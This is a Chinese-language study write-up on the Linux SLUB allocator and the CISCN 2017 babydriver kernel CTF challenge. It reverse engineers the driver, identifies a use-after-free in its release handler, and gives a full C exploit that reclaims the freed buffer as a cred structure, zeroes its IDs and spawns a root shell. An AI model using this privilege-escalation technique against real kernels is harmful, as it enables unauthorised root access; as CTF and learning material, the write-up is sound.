文章目录
- 参考
- slub 分配器
- kmem_cache_cpu
- kmem_cache_node[ ]
- 冻结和解冻
- 分配
- 释放
- fork
- 绑核
- Kmalloc flag和slub隔离
- CISCN - 2017 - babydriver
- 检查
- babtdriver_init
- struct cdev
- `alloc_chrdev_region`
- cdev_init
- owner
- cdev_add
- _class_create
- device_create
- babyopen
- babyrelease
- babyread
- babywrite
- babyioctl
- 提取vmlinux
- 调试
- 思路
- exp
- 放入内核中并运行exp
参考
https://arttnba3.cn/2021/02/21/OS-0X01-LINUX-KERNEL-PART-II/
https://bbs.kanxue.com/thread-276403.htm#msg_header_h1_2
https://kiprey.github.io/2021/10/kernel_pwn_introduction/#d-%E4%BB%A3%E7%A0%81%E5%88%86%E6%9E%90
slub 分配器
这篇博客讲得挺好的https://www.cnblogs.com/LoyenWang/p/11922887.html
一个kmem_cache=一类大小相同的object
一个slub缓存=多个slub页=很多多个大小相同的object
一个slub页=2的n次方个物理页=多个大小相同的object
kmem_cache_cpu
void **freelist: 这是一个指针,指向下一个可分配的对象。在SLAB分配器中,当对象被释放时,它们不会立即返回到全局内存池,而是被链接到这个自由链表上。这样,当需要再次分配对象时,可以迅速从这个链表中获取,提高了分配速度。
struct page *page: 这个指针指向当前正在从中分配对象的SLAB页面。这个成员记录了当前分配活动所针对的具体SLAB页面(指向当前正在使用的SLAB页面的指针。这个页面可能已经有一些对象被分配出去,也可能仍然有一些空闲对象。)
struct page *partial: 它指向一个部分分配的的SLAB页面。部分分配的SLAB意味着该SLAB中还有一些对象未被使用,
“freeze”(冻结)一个SLAB页面是一种管理策略,指的是当该页面中的某些对象已经被分配出去,但还剩余一些对象未被使用时,这个SLAB页面会被标记为不活跃状态,不再作为常规分配的首选来源。这个操作通常发生在尝试从SLAB页面中迁移空闲对象到CPU本地的freelist(自由链表)失败之后,也就是说,如果发现SLAB页面中实际上没有空闲对象可以迁移时。
kmem_cache_node[ ]
struct list_head partial: 这是一个链表头,用于链接那些部分分配的SLAB页面。每个部分分配的SLAB页面通过其自身的list_head结构体成员挂载到这个链表上,便于管理和快速查找可用的SLAB页面。
冻结和解冻
-
Frozen (冻结): 当一个SLAB页面被标记为“冻结”,这意味着该SLAB虽然还有未分配的对象,但出于性能优化或其他管理目的,暂时不希望从这个SLAB中进行新的分配。这种状态通常用于减少分配时的搜索成本或避免过度碎片化。例如,如果一个SLAB页面中大部分对象已被分配,仅剩少量空闲对象,将其冻结可以减少检查它的频率,因为分配新对象时优先考虑完全空闲的SLAB更为高效。
- 对于
cpu1
的kmem_cache_cpu
,如果其SLAB是冻结的,cpu1
仍然可以在该SLAB中取出对象(如果有)或归还对象到该SLAB,因为这是它自己的私有资源。但是,其他CPU核心(如cpu2
)不能从这个冻结的SLAB中取对象,它们只能归还对象到该SLAB(如果之前从该SLAB获取过对象的话)。
- 对于
-
Unfrozen (解冻): 相反,“解冻”状态的SLAB页面是完全参与到分配流程中的,任何CPU核心都可以从中分配对象,只要遵循相应的访问规则。在SLUB分配器中,通常CPU局部的partial链表上的SLAB是冻结的,而Node级别的partial链表上的SLAB是解冻的,这是因为Node级别的SLAB是所有CPU共享的资源,需要保持较高的可用性。
-
耗尽kmem_cache_cpu的slab的obj后解冻slab: 这意味着,当某CPU核心(如
cpu1
)的kmem_cache_cpu
中的SLAB页面中的所有对象都被分配完毕,且需要新的对象时,之前冻结的SLAB可能被“解冻”。这是因为,随着分配压力的增加,即使剩余对象不多的SLAB也变得有价值,可以重新激活以提供分配服务,以缓解内存分配的压力。
分配
- 检索per-CPU缓存的freelist列表中的第一个对象,没有进入2
- 将per-CPU缓存中page指向的slab页中的空闲对象迁移到freelist中,没有空闲对象就进入3
- 将per-CPU缓存中partial链表中的第一个slab页迁移到page指针中,如果partial链表为空,则进入4
- 将Node管理的partial链表中的slab页迁移到per-CPU缓存中的page中,并重复第二个slab页将其添加到per-CPU缓存中的partial链表中,如果每个Node的partial链表都为空,则进入5
- 从Buddy System中获取页面,并将其添加到per-CPU的page中。
释放
- 直接将对象返回到freelist中,page变为空闲
- page放到per-CPU管理的partial链表,per-CPU管理的partial链表中的slab页面添加到Node管理的partial链表的尾部
- slab页为全空闲,从Node的partial链表移除slab页。返回buddy system
fork
通过一个具体的C语言示例来解释fork()
的工作原理和子进程的执行位置:
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
int main() {
pid_t pid = fork(); // 调用fork创建子进程
if (pid < 0) {
perror("Fork failed");
return 1;
}
if (pid == 0) { // 这是子进程
printf("这是子进程,PID: %u,从这里开始执行。\n", getpid());
sleep(1); // 让子进程暂停1秒,以便观察
printf("子进程执行完成。\n");
} else { // 这是父进程
printf("这是父进程,PID: %u,fork后立即从这里继续执行。\n", getpid());
wait(NULL); // 父进程等待子进程结束
printf("父进程检测到子进程结束。\n");
}
return 0;
}
在这个示例中,当程序执行到fork()
调用时,操作系统会创建一个与当前进程几乎完全相同的子进程。之后,父子进程都会继续执行fork()
调用之后的代码,但根据fork()
的返回值来区分各自的执行路径。
- 父进程:
fork()
返回的是子进程的PID,因此它会执行pid > 0
分支的代码,打印出父进程的PID,并等待子进程结束。 - 子进程:
fork()
在子进程中返回0,因此它会执行pid == 0
分支的代码,打印出“这是子进程”的信息,然后暂停一秒,接着打印“子进程执行完成”。
所以,子进程实际上是从fork()
调用点开始执行程序的副本,但它会根据fork()
的返回值跳转到特定的代码路径。这使得父子进程可以执行不同的逻辑,共同协作完成复杂的任务。
绑核
保证分配到的同一类大小object来自同一个kmem_cache_cpu
比如你free掉一个进入1号kmem_cache_cpu的freelist后,你希望下次仍然得到回来这个刚free的,此时如果在不同cpu上,那就得不回来了
#define _GNU_SOURCE
#include <sched.h>
/* to run the exp on the specific core only */
void bind_cpu(int core)
{
cpu_set_t cpu_set;
CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
}
Kmalloc flag和slub隔离
对于开启了 CONFIG_MEMCG_KMEM 编译选项的 kernel 而言(通常都是默认开启),其会为使用 GFP_KERNEL_ACCOUNT 进行分配的通用对象创建一组独立的 kmem_cache ——名为 kmalloc-cg-* ,从而导致使用这两种 flag 的 object 之间的隔离
当一个 kmem_cache 在创建时,若已经存在能分配相等/近似大小的 object 的 kmem_cache ,则不会创建新的 kmem_cache,而是为原有的 kmem_cache 起一个 alias,作为“新的” kmem_cache 返回
对于初始化时设置了 SLAB_ACCOUNT 这一 flag 的 kmem_cache 而言,则会新建一个新的 kmem_cache 而非为原有的建立 alias
CISCN - 2017 - babydriver
不知道为啥,没有题目做然后学东西简直浑身难受
-cpu kvm64,+smep
开了smep阻止在Ring 0(最高特权级别,通常为操作系统内核模式)执行来自用户空间(Ring 3)内存页面的代码。
直接看加载的驱动源码
检查
babtdriver_init
- 申请设备号
- 初始化设备结构体
- 将该设备添加到内核的设备列表
- 创建设备类,创建设备实例
struct cdev
struct cdev { // 结构体cdev的定义,大小为0x68字节
kobject kobj; // 0x00: 内嵌的kobject结构体。kobject是Linux内核对象的基础结构,用于管理内核对象的引用计数、命名空间、事件通知等通用对象管理功能。
module *owner; // 0x40: 指向拥有该字符设备的模块结构体指针。在设备驱动程序中,通常指向`_this_module`,表明哪个内核模块创建了这个设备。
const file_operations *ops; // 0x48: 指向file_operations结构体的指针,定义了设备可以支持的各种文件操作方法,如打开(open)、读(read)、写(write)、关闭(close)等。
list_head list; // 0x50: 内嵌的list_head结构体,用于将cdev结构体链接到内核的链表中,便于内核管理所有注册的字符设备。
dev_t dev; // 0x60: 设备号,由主设备号(major number)和次设备号(minor number)组成,唯一标识一个设备。
unsigned int count; // 0x64: 引用计数,表示有多少打开的文件描述符指向此设备。当count为0时,表示设备未被使用,可以被卸载或删除。
}; // 结构体结束
这个结构体是字符设备驱动程序与内核交互的重要桥梁,通过它,驱动程序可以注册设备、定义设备行为(通过file_operations)、管理设备状态等。在内核中,通过cdev_init
函数初始化这个结构体,并通过cdev_add
函数将其添加到内核的字符设备列表中,从而使其生效。当不再需要设备时,可以通过cdev_del
函数将其从内核中注销。
alloc_chrdev_region
alloc_chrdev_region
是一个Linux内核函数,用于动态分配一个或一组连续的字符设备编号(major number),并注册这个设备编号与设备名之间的映射关系。这个函数是字符设备驱动程序开发者在初始化设备驱动时经常使用的一个重要步骤。下面是对这个函数调用的详细解释:
alloc_chrdev_region(&babydev_no, 0LL, 1LL, "babydev")
-
&babydev_no
: 这是一个指针,用于接收分配的字符设备主设备号(major number)。调用成功后,babydev_no
将存储分配给设备的第一个主设备号。 -
0LL
: 这个参数表示起始的次设备号(minor number)偏移量。这里设置为0,意味着从0号次设备号开始分配。在很多情况下,对于只需要一个设备号的设备,这个值通常是0。 -
1LL
: 表示要分配的设备号数量。这里要求分配1个连续的设备号。如果驱动程序需要管理多个不同类型的设备,可能需要分配更多的设备号。 -
"babydev"
: 字符串参数,表示设备的名称。这个名称会在/proc/devices
文件中显示,用于标识设备类型,对于系统管理员和开发者来说,这是一个友好的设备标识。
这个函数调用的目的是向内核请求分配一个新的字符设备号,并且这个设备号与设备名"babydev"相关联。一旦分配成功,之后就可以使用这个设备号来创建和操作设备文件,实现与设备的通信。如果分配成功,babydev_no
变量会存储分配到的主设备号;如果分配失败(比如没有足够的设备号可供分配),函数会返回一个负的错误码。
cdev_init
这段代码是Linux内核字符设备驱动程序中常见的三个函数调用,用于初始化字符设备、设置其所属模块,并向内核注册该设备。下面是每个调用的详细解释:
cdev_init(&cdev_0, &fops);
cdev_init
:这是内核提供的一个函数,用于初始化一个字符设备控制结构体(struct cdev
)。它主要负责设置字符设备的默认属性,以及关联文件操作函数集。&cdev_0
:这是指向待初始化的字符设备控制结构体的指针。cdev_0
是一个局部或全局的struct cdev
实例,用于表示你正在创建的字符设备。&fops
:这是一个指向file_operations
结构体的指针。file_operations
结构体包含了所有与设备文件操作相关的函数指针,如打开设备(open
)、读取(read
)、写入(write
)、关闭(release
)等。通过传递这个指针,你定义了设备如何响应这些操作。
00000000 struct cdev // sizeof=0x68
00000000 { // XREF: .bss:cdev_0/r
00000000 kobject kobj;
00000040 module *owner; // XREF: babydriver_init+5E/w
00000048 const file_operations *ops;
00000050 list_head list;
00000060 dev_t dev;
00000064 unsigned int count;
00000068 };
owner
cdev_0.owner = &_this_module;
- 这行代码设置字符设备结构体
cdev_0
的.owner
成员为当前模块的指针(_this_module
)。_this_module
是一个全局变量,指向当前正在运行的内核模块自身。这一操作明确了哪个模块负责这个字符设备,对于日志记录、资源管理以及模块卸载时的清理工作至关重要。
00000000 struct module // sizeof=0x340
00000000 { // XREF: .gnu.linkonce.this_module:__this_module/r
00000000 module_state state;
00000004 // padding byte
00000005 // padding byte
00000006 // padding byte
00000007 // padding byte
00000008 list_head list;
00000018 char name[56];
00000050 module_kobject mkobj;
000000B0 module_attribute *modinfo_attrs;
000000B8 const char *version;
000000C0 const char *srcversion;
000000C8 kobject *holders_dir;
000000D0 const kernel_symbol *syms;
000000D8 const unsigned __int64 *crcs;
000000E0 unsigned int num_syms;
000000E4 // padding byte
000000E5 // padding byte
000000E6 // padding byte
000000E7 // padding byte
000000E8 mutex param_lock;
00000110 kernel_param *kp;
00000118 unsigned int num_kp;
0000011C unsigned int num_gpl_syms;
00000120 const kernel_symbol *gpl_syms;
00000128 const unsigned __int64 *gpl_crcs;
00000130 const kernel_symbol *unused_syms;
00000138 const unsigned __int64 *unused_crcs;
00000140 unsigned int num_unused_syms;
00000144 unsigned int num_unused_gpl_syms;
00000148 const kernel_symbol *unused_gpl_syms;
00000150 const unsigned __int64 *unused_gpl_crcs;
00000158 bool sig_ok;
00000159 bool async_probe_requested;
0000015A // padding byte
0000015B // padding byte
0000015C // padding byte
0000015D // padding byte
0000015E // padding byte
0000015F // padding byte
00000160 const kernel_symbol *gpl_future_syms;
00000168 const unsigned __int64 *gpl_future_crcs;
00000170 unsigned int num_gpl_future_syms;
00000174 unsigned int num_exentries;
00000178 exception_table_entry *extable;
00000180 int (*init)(void);
00000188 // padding byte
00000189 // padding byte
0000018A // padding byte
0000018B // padding byte
0000018C // padding byte
0000018D // padding byte
0000018E // padding byte
0000018F // padding byte
00000190 // padding byte
00000191 // padding byte
00000192 // padding byte
00000193 // padding byte
00000194 // padding byte
00000195 // padding byte
00000196 // padding byte
00000197 // padding byte
00000198 // padding byte
00000199 // padding byte
0000019A // padding byte
0000019B // padding byte
0000019C // padding byte
0000019D // padding byte
0000019E // padding byte
0000019F // padding byte
000001A0 // padding byte
000001A1 // padding byte
000001A2 // padding byte
000001A3 // padding byte
000001A4 // padding byte
000001A5 // padding byte
000001A6 // padding byte
000001A7 // padding byte
000001A8 // padding byte
000001A9 // padding byte
000001AA // padding byte
000001AB // padding byte
000001AC // padding byte
000001AD // padding byte
000001AE // padding byte
000001AF // padding byte
000001B0 // padding byte
000001B1 // padding byte
000001B2 // padding byte
000001B3 // padding byte
000001B4 // padding byte
000001B5 // padding byte
000001B6 // padding byte
000001B7 // padding byte
000001B8 // padding byte
000001B9 // padding byte
000001BA // padding byte
000001BB // padding byte
000001BC // padding byte
000001BD // padding byte
000001BE // padding byte
000001BF // padding byte
000001C0 void *module_init;
000001C8 void *module_core;
000001D0 unsigned int init_size;
000001D4 unsigned int core_size;
000001D8 unsigned int init_text_size;
000001DC unsigned int core_text_size;
000001E0 mod_tree_node mtn_core;
00000218 mod_tree_node mtn_init;
00000250 unsigned int init_ro_size;
00000254 unsigned int core_ro_size;
00000258 unsigned int taints;
0000025C unsigned int num_bugs;
00000260 list_head bug_list;
00000270 bug_entry *bug_table;
00000278 mod_kallsyms *kallsyms;
00000280 mod_kallsyms core_kallsyms;
00000298 module_sect_attrs *sect_attrs;
000002A0 module_notes_attrs *notes_attrs;
000002A8 char *args;
000002B0 void *percpu;
000002B8 unsigned int percpu_size;
000002BC unsigned int num_tracepoints;
000002C0 tracepoint *const *tracepoints_ptrs;
000002C8 jump_entry *jump_entries;
000002D0 unsigned int num_jump_entries;
000002D4 unsigned int num_trace_bprintk_fmt;
000002D8 const char **trace_bprintk_fmt_start;
000002E0 trace_event_call **trace_events;
000002E8 unsigned int num_trace_events;
000002EC // padding byte
000002ED // padding byte
000002EE // padding byte
000002EF // padding byte
000002F0 trace_enum_map **trace_enums;
000002F8 unsigned int num_trace_enums;
000002FC unsigned int num_ftrace_callsites;
00000300 unsigned __int64 *ftrace_callsites;
00000308 bool klp_alive;
00000309 // padding byte
0000030A // padding byte
0000030B // padding byte
0000030C // padding byte
0000030D // padding byte
0000030E // padding byte
0000030F // padding byte
00000310 list_head source_list;
00000320 list_head target_list;
00000330 void (*exit)(void);
00000338 atomic_t refcnt;
0000033C // padding byte
0000033D // padding byte
0000033E // padding byte
0000033F // padding byte
00000340 };
cdev_add
v1 = cdev_add(&cdev_0, babydev_no, 1LL);
是对Linux内核编程中一个典型的函数调用法,用于向内核注册一个字符设备。
-
cdev_add: 这是内核API函数,用于向内核注册一个字符设备。它使设备可被系统识别,并允许用户空间通过文件系统接口与之交互。
-
&cdev_0
: 这是一个指向struct cdev
结构体的指针,该结构体包含了字符设备的必要信息,如设备操作函数集(file_operations)、设备号等。在之前的初始化过程中,cdev_init
函数已经设置了这些信息,所以现在通过指针传递给cdev_add
来注册。 -
babydev_no
: 这是一个dev_t
类型的变量,表示设备号。在前面的代码片段中,通过alloc_chrdev_region
函数为设备分配了设备号,其中babydev_no
就是分配的主设备号。设备号是内核中唯一标识一个设备的关键,分为主设备号和次设备号,这里只用到了主设备号。 -
1LL
: 这个参数表示要注册的次设备号的数量。这里传入1LL
(即1)意味着注册一个次设备号。在一些情况下,一个主设备号可以对应多个逻辑设备,每个逻辑设备由不同的次设备号区分。
_class_create
-
(class *)
:类型转换,表明赋值将被解释为一个指向class
结构体的指针。 -
_class_create
:这是内核函数,用于创建一个设备类(字符设备或块设备的类),它是设备模型的一部分,用于组织和管理同类设备。它允许对一类设备共享相同的属性和行为。 -
&_this_module
:传递当前模块的指针,表示创建的设备类属于哪个内核模块。_this_module
是内核模块自我引用的全局变量,每个模块都有这样一个变量指向自己。 -
"babydev"
:设备类的名字,是一个字符串,用于标识这个类。在系统中,特别是在用户空间通过sysfs(如/sysfs/class/
目录下)查看时,可以看到这个类名。 -
&babydev_no
:主设备号
00000000 struct class // sizeof=0x78
00000000 {
00000000 const char *name;
00000008 module *owner;
00000010 class_attribute *class_attrs;
00000018 const attribute_group **dev_groups;
00000020 kobject *dev_kobj;
00000028 int (*dev_uevent)(device *, kobj_uevent_env *);
00000030 char *(*devnode)(device *, umode_t *);
00000038 void (*class_release)(class *);
00000040 void (*dev_release)(device *);
00000048 int (*suspend)(device *, pm_message_t);
00000050 int (*resume)(device *);
00000058 const kobj_ns_type_operations *ns_type;
00000060 const void *(*namespace)(device *);
00000068 const dev_pm_ops *pm;
00000070 subsys_private *p;
00000078 };
初始时,init 函数通过调用 class_create 函数创建一个 class 类型的类,创建好后的类存放于sysfs下面,可以在 /sys/class中找到。
device_create
device_create()
是 Linux 内核 API 中的一个函数,用于在设备模型中动态创建并注册一个新的设备实例。这个函数简化了与设备创建相关的各种底层操作,包括 kobject 的初始化、sysfs 入口的创建以及与设备类的关联等。给出的函数调用示例:
device_create(babyclass, 0LL, babydev_no, 0LL, "babydev");
-
babyclass:这是一个指向已经定义好的
struct class
实例的指针。在设备模型中,class
表示设备的一类,定义了设备的通用行为和属性。 -
0LL:这是指设备的父设备在设备层次结构中的设备号。在很多情况下,如果设备没有直接的父设备或者不需要指定父设备,这个值会被设置为
NULL
或者0
。这里的0LL
表示长整型的零,起到同样的作用。 -
babydev_no:这是要创建的设备自己的设备号。设备号在 Linux 中是唯一标识一个设备的号码,分为类型号(major number)和编号号(minor number),用来区分不同类型的设备和同一类型下的不同实例。这里假设
babydev_no
是之前分配好的设备号。 -
0LL:与第二个参数类似,这里是传递给设备的私有数据指针,通常用于存储特定于设备的数据。再次使用
0LL
表示没有私有数据需要传递。 -
“babydev”:这是一个 C 字符串,用于指定新创建的设备在 sysfs 中显示的名称。当用户通过 sysfs 查看设备时,这个名称会作为设备目录的名称出现,便于识别。
函数调用 device_create 函数,动态建立逻辑设备,对新逻辑设备进行初始化;同时还将其与第一个参数所对应的逻辑类相关联,并将此逻辑设备加到linux内核系统的设备驱动程序模型中。这样,函数会自动在 /sys/devices/virtual 目录下创建新的逻辑设备目录,并在 /dev 目录下创建与逻辑类对应的设备文件。
babyopen
babydev_struct是全局变量
在kmalloc_caches[6]中分配大小64的object,并更新babydev_struct的device_buf和device_buf_len
babyrelease
babydev_struct.device_buf 释放掉,函数既没有对device_buf指针置空,也没有设置 device_buf_len 为0 。
babyread
IDA有问题直接看汇编
修正部分
if ( babydev_struct.device_buf_len > length )
{
copy_to_user(buffer, babydev_struct.device_buf, length);
result = length;
}
判断device_buf 不为空就然后判断读取长度是否device_buf 足够,然后将 device_buf 上的内存拷贝至用户空间的 buff
babywrite
同样IDA有问题
if ( babydev_struct.device_buf_len > length )
{
copy_from_user(babydev_struct.device_buf, buffer, length);
result = length;
}
将用户空间的 buffer 内存上的数据拷贝进内核空间的 device_buf 上
babyioctl
先kfree掉,然后再申请,分配大小应该是a4,再设置device_buf和device_buf _len
提取vmlinux
sudo apt install python3-pip
sudo pip3 install --upgrade lz4 git+https://github.com/marin-m/vmlinux-to-elf
使用
# vmlinux-to-elf <input_kernel.bin> <output_kernel.elf>
vmlinux-to-elf bzImage vmlinux
调试
sudo apt-get install qemu-system-x86 qemu-utils
解决
出现了这玩意,但好像不影响调试
解决方案https://github.com/pwndbg/pwndbg/issues/2171
sudo gdb就没有了啦
思路
绑定到一个CPU上不然UAF使用可能不成功,但这题 -smp cores=1,threads=1
启动了1个核心(core)和1个线程(thread),所以不需要绑定
- 由于babydev_struct是全局变量,所以连续open两次将会有两个文件描述符可以去操作babydev_struct
- 利用close后free但没有清零的特点,也就是另一个未关闭的文件描述符依然可以操作free后的babydev_struct.device_buf,即存在UAF
- 如果此时存在申请刚free后的object作为cred结构体,那么此时得到的object和babydev_struct.device_buf是同一个,那么可以通过另一个未关闭的文件描述符对该cred进行写操作
exp
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/wait.h>
#include <unistd.h>
int main() {
int fd1 = open("/dev/babydev", O_RDWR); //分配device_buf和设置device_buf_len
int fd2 = open("/dev/babydev", O_RDWR); // 分配重新设置device_buf和device_buf_len
ioctl(fd1, 65537, 0xa8); //分配重新设置device_buf和device_buf_len 大小和cred结构体一样
close(fd1); // free掉0xa8大小的device_buf,但没清空
if (!fork()) { //父进程返回子进程的pid,子进程返回0
char mem[4 * 7]; // usage uid gid suid sgid euid egid
memset(mem, '\x00', sizeof(mem));
write(fd2, mem, sizeof(mem));
system("/bin/sh");
}
else
wait(NULL); //父进程要等子进程结束才行
return 0;
}
放入内核中并运行exp
静态编译
gcc exp.c -static -o exp
重新打包
find . | cpio -o --format=newc > rootfs.cpio